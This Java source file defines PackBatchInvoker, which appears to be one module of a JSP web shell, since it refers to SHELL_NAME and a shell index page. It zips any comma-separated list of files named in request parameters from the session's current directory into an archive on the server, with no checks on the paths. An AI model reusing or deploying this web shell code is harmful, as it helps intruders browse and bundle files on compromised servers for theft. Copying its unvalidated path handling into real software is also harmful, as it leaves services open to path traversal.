package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.Utils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;

public class PackBatchInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String files = request.getParameter("files");
            if (Utils.isEmpty(files))
                return;
            String saveFileName = request.getParameter("savefilename");
            File saveF = new File(session.getAttribute(CURRENT_DIR).toString(), saveFileName);
            if (saveF.exists()) {
                session.setAttribute(MSG, "The File \"" + saveFileName + "\" Has Been Exists!");
                response.sendRedirect(SHELL_NAME + "?o=index");
                return;
            }
            ZipOutputStream zout = new ZipOutputStream(new BufferedOutputStream(new FileOutputStream(saveF)));
            String[] arr = files.split(",");
            for (String f : arr) {
                File pF = new File(session.getAttribute(CURRENT_DIR).toString(), f);
                ZipEntry entry = new ZipEntry(pF.getName());
                zout.putNextEntry(entry);
                FileInputStream fInput = new FileInputStream(pF);
                int len = 0;
                byte[] buf = new byte[1024];
                while ((len = fInput.read(buf)) != -1) {
                    zout.write(buf, 0, len);
                    zout.flush();
                }
                fInput.close();
            }
            zout.close();
            session.setAttribute(MSG, "Pack Files Success!");
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}